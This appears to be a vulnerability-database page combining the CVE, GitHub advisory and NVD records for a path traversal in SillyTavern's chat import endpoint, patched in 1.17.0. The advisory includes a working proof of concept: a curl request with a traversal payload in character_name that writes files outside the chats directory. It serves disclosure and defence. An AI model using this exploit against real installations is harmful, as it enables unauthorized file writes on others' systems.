Vulnerability-Lookup

CVE-2026-34522 (GCVE-0-2026-34522)

Vulnerability from cvelistv5 – Published: 2026-04-02 17:13 – Updated: 2026-04-02 19:00

Title

SillyTavern: Path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory

Summary

SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name. This issue has been patched in version 1.17.0.

Severity ?

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-73 - External Control of File Name or Path

Assigner

GitHub_M

References

URL

Tags

	https://github.com/SillyTavern/SillyTavern/securi…	x_refsource_CONFIRM
	https://github.com/SillyTavern/SillyTavern/releas…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	SillyTavern	SillyTavern	Affected: < 1.17.0

Show details on NVD website

JSON

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GHSA-XVWW-XHX6-22PF

Vulnerability from github – Published: 2026-04-01 21:36 – Updated: 2026-04-01 21:36

Summary

SillyTavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory

Details

Summary

A path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name.

Details

character_name is used unsafely as part of the destination filename and then passed into path.join(...) without sanitization.

Evidence: - Import handler entrypoint:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686 - Unsanitized character_name used in output filename:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723 - Same write pattern in JSONL import branch:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766 - Endpoint auth context (authenticated user access):
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239

Example payload: - character_name=../../../../tmp/st_poc

This causes the final destination path to escape from <user>/chats/<avatar>/... and write to an attacker-controlled location such as /tmp/... (or any writable path for the service account).

PoC

Prerequisites: - Valid authenticated session cookie (cookie.txt) - Valid CSRF token ($TOKEN)

Prepare payload:

printf '{"user_name":"u","chat_metadata":{}}\n{"name":"u","mes":"owned"}\n' >/tmp/poc.jsonl

Trigger arbitrary write:

curl -b cookie.txt -H "x-csrf-token: $TOKEN" \
  -F "avatar=@/tmp/poc.jsonl" \
  -F "file_type=jsonl" \
  -F "avatar_url=a.png" \
  -F "character_name=../../../../tmp/st_poc" \
  -F "user_name=u" \
  http://TARGET:8000/api/chats/import

Observed result: - A file is created outside chats directory, for example:
/tmp/st_poc - <timestamp> imported.jsonl

Impact

Integrity: attacker can create files in unintended filesystem locations.
Availability: can be used for disk abuse and disruptive file placement.
Can become more severe when chained with other local processing behaviors.

Resolution

The issue was addressed in version 1.17.0

Severity ?

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.16.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sillytavern"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T21:36:40Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`.\n\n### Details\n`character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization.\n\nEvidence:\n- Import handler entrypoint:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686\u003e\n- Unsanitized `character_name` used in output filename:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723\u003e\n- Same write pattern in JSONL import branch:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766\u003e\n- Endpoint auth context (authenticated user access):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239\u003e\n\nExample payload:\n- `character_name=../../../../tmp/st_poc`\n\nThis causes the final destination path to escape from `\u003cuser\u003e/chats/\u003cavatar\u003e/...` and write to an attacker-controlled location such as `/tmp/...` (or any writable path for the service account).\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nPrepare payload:\n\n```bash\nprintf \u0027{\"user_name\":\"u\",\"chat_metadata\":{}}\\n{\"name\":\"u\",\"mes\":\"owned\"}\\n\u0027 \u003e/tmp/poc.jsonl\n```\n\nTrigger arbitrary write:\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" \\\n  -F \"avatar=@/tmp/poc.jsonl\" \\\n  -F \"file_type=jsonl\" \\\n  -F \"avatar_url=a.png\" \\\n  -F \"character_name=../../../../tmp/st_poc\" \\\n  -F \"user_name=u\" \\\n  http://TARGET:8000/api/chats/import\n```\n\nObserved result:\n- A file is created outside chats directory, for example:  \n  `/tmp/st_poc - \u003ctimestamp\u003e imported.jsonl`\n\n### Impact\n- Integrity: attacker can create files in unintended filesystem locations.\n- Availability: can be used for disk abuse and disruptive file placement.\n- Can become more severe when chained with other local processing behaviors.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0",
  "id": "GHSA-xvww-xhx6-22pf",
  "modified": "2026-04-01T21:36:40Z",
  "published": "2026-04-01T21:36:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-xvww-xhx6-22pf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SillyTavern/SillyTavern"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SillyTavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory"
}

FKIE_CVE-2026-34522

Vulnerability from fkie_nvd - Published: 2026-04-02 18:16 - Updated: 2026-04-03 16:10

Severity ?

8.1 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0
	security-advisories@github.com	https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-xvww-xhx6-22pf

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name. This issue has been patched in version 1.17.0."
    }
  ],
  "id": "CVE-2026-34522",
  "lastModified": "2026-04-03T16:10:23.730",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-02T18:16:29.453",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-xvww-xhx6-22pf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-73"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-34522 (GCVE-0-2026-34522)

GHSA-XVWW-XHX6-22PF

Summary

Details

PoC

Impact

Resolution

FKIE_CVE-2026-34522

Tags

Sightings

Nomenclature